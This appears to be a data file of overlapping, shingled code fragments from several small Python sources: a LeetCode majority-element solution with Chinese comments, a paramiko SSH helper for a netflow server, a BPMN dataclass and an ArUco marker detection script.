"cnt1 == 0: n1 = num cnt1 += 1 elif cnt2 == 0:",
"cnt1 = 0 cnt2 = 0 for num in nums: if num ==",
"1 if cnt1 > n // 3: res.append(n1) if cnt2 > n //",
"= len(nums) res = [] cnt1 = 0 cnt2 = 0 n1 =",
"0 for num in nums: if num == n1: cnt1 += 1 if",
"1 elif num == n2: cnt2 += 1 elif cnt1 == 0: n1",
"<gh_stars>10-100 class Solution: def majorityElement(self, nums: List[int]) -> List[int]: n = len(nums) res",
"筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0 for",
"cnt2 += 1 elif cnt1 == 0: n1 = num cnt1 += 1",
"# 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0 for num",
"= 0 n1 = None n2 = None # 筛选出现次数最多的前两个 for num in",
"# 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0",
"这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0 for num in",
"majorityElement(self, nums: List[int]) -> List[int]: n = len(nums) res = [] cnt1 =",
"nums: List[int]) -> List[int]: n = len(nums) res = [] cnt1 = 0",
"n // 3: res.append(n1) if cnt2 > n // 3: res.append(n2) return res",
"= None n2 = None # 筛选出现次数最多的前两个 for num in nums: if num",
"cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是",
"class Solution: def majorityElement(self, nums: List[int]) -> List[int]: n = len(nums) res =",
"n = len(nums) res = [] cnt1 = 0 cnt2 = 0 n1",
"in nums: if num == n1: cnt1 += 1 elif num == n2:",
"而上面的则不是 cnt1 = 0 cnt2 = 0 for num in nums: if num",
"1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 =",
"+= 1 else: cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了",
"def majorityElement(self, nums: List[int]) -> List[int]: n = len(nums) res = [] cnt1",
"== n1: cnt1 += 1 if num == n2: cnt2 += 1 if",
"res = [] cnt1 = 0 cnt2 = 0 n1 = None n2",
"= None # 筛选出现次数最多的前两个 for num in nums: if num == n1: cnt1",
"cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0",
"0 cnt2 = 0 n1 = None n2 = None # 筛选出现次数最多的前两个 for",
"List[int]) -> List[int]: n = len(nums) res = [] cnt1 = 0 cnt2",
"0 cnt2 = 0 for num in nums: if num == n1: cnt1",
"= 0 cnt2 = 0 n1 = None n2 = None # 筛选出现次数最多的前两个",
"n2: cnt2 += 1 elif cnt1 == 0: n1 = num cnt1 +=",
"nums: if num == n1: cnt1 += 1 if num == n2: cnt2",
"+= 1 if num == n2: cnt2 += 1 if cnt1 > n",
"== n1: cnt1 += 1 elif num == n2: cnt2 += 1 elif",
"num == n2: cnt2 += 1 if cnt1 > n // 3: res.append(n1)",
"num == n1: cnt1 += 1 if num == n2: cnt2 += 1",
"cnt2 = 0 n1 = None n2 = None # 筛选出现次数最多的前两个 for num",
"1 else: cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 #",
"elif cnt2 == 0: n2 = num cnt2 += 1 else: cnt1 -=",
"n2 = num cnt2 += 1 else: cnt1 -= 1 cnt2 -= 1",
"# 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0 for num in nums:",
"cnt1 += 1 if num == n2: cnt2 += 1 if cnt1 >",
"if num == n1: cnt1 += 1 elif num == n2: cnt2 +=",
"+= 1 if cnt1 > n // 3: res.append(n1) if cnt2 > n",
"num == n2: cnt2 += 1 elif cnt1 == 0: n1 = num",
"[] cnt1 = 0 cnt2 = 0 n1 = None n2 = None",
"elif num == n2: cnt2 += 1 elif cnt1 == 0: n1 =",
"1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 =",
"else: cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数,",
"n2: cnt2 += 1 if cnt1 > n // 3: res.append(n1) if cnt2",
"Solution: def majorityElement(self, nums: List[int]) -> List[int]: n = len(nums) res = []",
"1 elif cnt1 == 0: n1 = num cnt1 += 1 elif cnt2",
"= 0 for num in nums: if num == n1: cnt1 += 1",
"if num == n1: cnt1 += 1 if num == n2: cnt2 +=",
"n1 = num cnt1 += 1 elif cnt2 == 0: n2 = num",
"num in nums: if num == n1: cnt1 += 1 elif num ==",
"+= 1 elif cnt2 == 0: n2 = num cnt2 += 1 else:",
"0: n2 = num cnt2 += 1 else: cnt1 -= 1 cnt2 -=",
"这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2 = 0 for num in nums: if",
"n1: cnt1 += 1 elif num == n2: cnt2 += 1 elif cnt1",
"cnt2 == 0: n2 = num cnt2 += 1 else: cnt1 -= 1",
"cnt1 += 1 elif num == n2: cnt2 += 1 elif cnt1 ==",
"n1 = None n2 = None # 筛选出现次数最多的前两个 for num in nums: if",
"in nums: if num == n1: cnt1 += 1 if num == n2:",
"len(nums) res = [] cnt1 = 0 cnt2 = 0 n1 = None",
"> n // 3: res.append(n1) if cnt2 > n // 3: res.append(n2) return",
"for num in nums: if num == n1: cnt1 += 1 elif num",
"cnt2 += 1 if cnt1 > n // 3: res.append(n1) if cnt2 >",
"for num in nums: if num == n1: cnt1 += 1 if num",
"None n2 = None # 筛选出现次数最多的前两个 for num in nums: if num ==",
"cnt2 += 1 else: cnt1 -= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 #",
"== n2: cnt2 += 1 if cnt1 > n // 3: res.append(n1) if",
"1 if num == n2: cnt2 += 1 if cnt1 > n //",
"nums: if num == n1: cnt1 += 1 elif num == n2: cnt2",
"0: n1 = num cnt1 += 1 elif cnt2 == 0: n2 =",
"-= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1 = 0 cnt2",
"if num == n2: cnt2 += 1 if cnt1 > n // 3:",
"= num cnt1 += 1 elif cnt2 == 0: n2 = num cnt2",
"cnt1 = 0 cnt2 = 0 n1 = None n2 = None #",
"n2 = None # 筛选出现次数最多的前两个 for num in nums: if num == n1:",
"cnt2 = 0 for num in nums: if num == n1: cnt1 +=",
"None # 筛选出现次数最多的前两个 for num in nums: if num == n1: cnt1 +=",
"== n2: cnt2 += 1 elif cnt1 == 0: n1 = num cnt1",
"n1: cnt1 += 1 if num == n2: cnt2 += 1 if cnt1",
"# 筛选出现次数最多的前两个 for num in nums: if num == n1: cnt1 += 1",
"-> List[int]: n = len(nums) res = [] cnt1 = 0 cnt2 =",
"cnt1 > n // 3: res.append(n1) if cnt2 > n // 3: res.append(n2)",
"num in nums: if num == n1: cnt1 += 1 if num ==",
"== 0: n2 = num cnt2 += 1 else: cnt1 -= 1 cnt2",
"List[int]: n = len(nums) res = [] cnt1 = 0 cnt2 = 0",
"+= 1 elif cnt1 == 0: n1 = num cnt1 += 1 elif",
"num cnt1 += 1 elif cnt2 == 0: n2 = num cnt2 +=",
"== 0: n1 = num cnt1 += 1 elif cnt2 == 0: n2",
"筛选出现次数最多的前两个 for num in nums: if num == n1: cnt1 += 1 elif",
"= [] cnt1 = 0 cnt2 = 0 n1 = None n2 =",
"= num cnt2 += 1 else: cnt1 -= 1 cnt2 -= 1 #",
"cnt1 += 1 elif cnt2 == 0: n2 = num cnt2 += 1",
"num == n1: cnt1 += 1 elif num == n2: cnt2 += 1",
"+= 1 elif num == n2: cnt2 += 1 elif cnt1 == 0:",
"1 elif cnt2 == 0: n2 = num cnt2 += 1 else: cnt1",
"if cnt1 > n // 3: res.append(n1) if cnt2 > n // 3:",
"elif cnt1 == 0: n1 = num cnt1 += 1 elif cnt2 ==",
"0 n1 = None n2 = None # 筛选出现次数最多的前两个 for num in nums:",
"-= 1 cnt2 -= 1 # 筛选出现次数超过三分之一的 # 这里的cnt1和cnt2的含义已经变了 # 这里的cnt1和cnt2表示的是出现次数, 而上面的则不是 cnt1"
] |
[
"= paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&&",
"for line in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() # Blocking call",
"for line in stderr.readlines(): print line for line in stdout.readlines(): # print line",
"user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr =",
"stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\") for line in stderr.readlines(): print",
"stdin, stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\") for line in stderr.readlines():",
"ssh.exec_command(command + \"&& echo 'done'\") for line in stderr.readlines(): print line for line",
"exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status == 0: print str(datetime.datetime.today()) +",
"= stdout.channel.recv_exit_status() # Blocking call if exit_status == 0: print str(datetime.datetime.today()) + \":",
"want, use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK",
"# Blocking call if exit_status == 0: print str(datetime.datetime.today()) + \": Command finished",
"it locally if you want, use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip",
"exit_status == 0: print str(datetime.datetime.today()) + \": Command finished successfully.\" else: print(\"Error\", exit_status)",
"Blocking call if exit_status == 0: print str(datetime.datetime.today()) + \": Command finished successfully.\"",
"commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh =",
"this for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\"",
"# SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin,",
"use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box",
"SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout,",
"'done'\") for line in stderr.readlines(): print line for line in stdout.readlines(): # print",
"datetime import subprocess # run it locally if you want, use this for",
"\"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile)",
"run it locally if you want, use this for Bash commands def run_netflow_cmd(command):",
"stderr = ssh.exec_command(command + \"&& echo 'done'\") for line in stderr.readlines(): print line",
"== 0: print str(datetime.datetime.today()) + \": Command finished successfully.\" else: print(\"Error\", exit_status) ssh.close()",
"echo 'done'\") for line in stderr.readlines(): print line for line in stdout.readlines(): #",
"ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command +",
"+ \"&& echo 'done'\") for line in stderr.readlines(): print line for line in",
"call if exit_status == 0: print str(datetime.datetime.today()) + \": Command finished successfully.\" else:",
"import subprocess # run it locally if you want, use this for Bash",
"box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr",
"in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status",
"line in stderr.readlines(): print line for line in stdout.readlines(): # print line exit_status",
"in stderr.readlines(): print line for line in stdout.readlines(): # print line exit_status =",
"print line for line in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() #",
"Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh",
"= ssh.exec_command(command + \"&& echo 'done'\") for line in stderr.readlines(): print line for",
"line for line in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() # Blocking",
"print line exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status == 0: print",
"subprocess # run it locally if you want, use this for Bash commands",
"= \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name,",
"stderr.readlines(): print line for line in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status()",
"line in stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() # Blocking call if",
"run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())",
"for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\"",
"username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\") for line",
"<filename>common/code/snippets/txt/ssh.py import paramiko import datetime import subprocess # run it locally if you",
"rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip,",
"ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\")",
"stdout.channel.recv_exit_status() # Blocking call if exit_status == 0: print str(datetime.datetime.today()) + \": Command",
"import paramiko import datetime import subprocess # run it locally if you want,",
"paramiko import datetime import subprocess # run it locally if you want, use",
"if you want, use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\"",
"you want, use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" #",
"paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&& echo",
"ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\") for",
"line exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status == 0: print str(datetime.datetime.today())",
"keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(rwflow_server_ip, username=user_name, key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command",
"# print line exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status == 0:",
"import datetime import subprocess # run it locally if you want, use this",
"locally if you want, use this for Bash commands def run_netflow_cmd(command): rwflow_server_ip =",
"def run_netflow_cmd(command): rwflow_server_ip = \"192.168.3.11\" # SiLK box user_name=\"netflow\" keyfile=\"/home/marius/.ssh/id_rsa\" ssh = paramiko.SSHClient()",
"key_filename=keyfile) stdin, stdout, stderr = ssh.exec_command(command + \"&& echo 'done'\") for line in",
"\"&& echo 'done'\") for line in stderr.readlines(): print line for line in stdout.readlines():",
"if exit_status == 0: print str(datetime.datetime.today()) + \": Command finished successfully.\" else: print(\"Error\",",
"stdout.readlines(): # print line exit_status = stdout.channel.recv_exit_status() # Blocking call if exit_status ==",
"# run it locally if you want, use this for Bash commands def"
] |
[
"from .t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name",
".t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name =",
"dataclass from .t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta:",
"= \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name = \"inclusiveGateway\" namespace = \"http://www.omg.org/spec/BPMN/20100524/MODEL\"",
"import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name = \"inclusiveGateway\"",
"import dataclass from .t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class",
"__NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name = \"inclusiveGateway\" namespace =",
"TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway): class Meta: name = \"inclusiveGateway\" namespace",
"dataclasses import dataclass from .t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class InclusiveGateway(TInclusiveGateway):",
"from dataclasses import dataclass from .t_inclusive_gateway import TInclusiveGateway __NAMESPACE__ = \"http://www.omg.org/spec/BPMN/20100524/MODEL\" @dataclass class"
] |
[
"from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray",
"ids) for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\",",
"cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray =",
"aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers =",
"corners, ids) for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()],",
"gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints",
"images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1, images_H2)) cv2.imshow('ARUCO',",
"frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:,",
"as np import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250)",
"import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image =",
"aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids)",
"aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters =",
"<reponame>snavas/PyMote import numpy as np import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html",
"cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\")",
"import numpy as np import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict",
"aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:,",
"range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 =",
"c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image,",
"[c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers))",
"1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images",
"= corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers))",
"import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image,",
"= cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners,",
"in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1",
"= aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)):",
"cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray,",
"= cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints =",
"aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c",
"= aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners,",
"i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c)",
"parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c = corners[i][0]",
"for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i]))",
"aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)",
"corners[i][0] #lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2",
"https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict =",
"cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids,",
"aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c =",
"image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create()",
"label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1,",
"\"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images =",
"= np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1, images_H2)) cv2.imshow('ARUCO', images_H1)",
"np import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image",
"= aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in range(len(ids)): c = corners[i][0] #lt.plot([c[:, 0].mean()],",
"rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i in",
"# https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict",
"aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250)",
"cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict,",
"0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image,",
"aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters)",
"numpy as np import cv2 from cv2 import aruco # https://mecaruco2.readthedocs.io/en/latest/notebooks_rst/Aruco/Aruco.html aruco_dict =",
"print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1, images_H2))",
"= aruco.Dictionary_get(aruco.DICT_6X6_250) image = cv2.imread(\"../tests/aruco.jpg\") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250) parameters",
"#lt.plot([c[:, 0].mean()], [c[:, 1].mean()], \"o\", label=\"id={0}\".format(ids[i])) print(c) images_H1 = np.hstack((image, frame_markers)) images_H2 =",
"parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(),",
"corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for",
"= aruco.Dictionary_get(aruco.DICT_6X6_250) parameters = aruco.DetectorParameters_create() corners, ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers",
"np.hstack((image, frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1, images_H2)) cv2.imshow('ARUCO', images_H1) cv2.waitKey(0)",
"frame_markers)) images_H2 = np.hstack((image, frame_markers)) images = np.vstack((images_H1, images_H2)) cv2.imshow('ARUCO', images_H1) cv2.waitKey(0) cv2.destroyAllWindows()",
"ids, rejectedImgPoints = aruco.detectMarkers(gray, aruco_dict, parameters=parameters) frame_markers = aruco.drawDetectedMarkers(image.copy(), corners, ids) for i"
] |
[
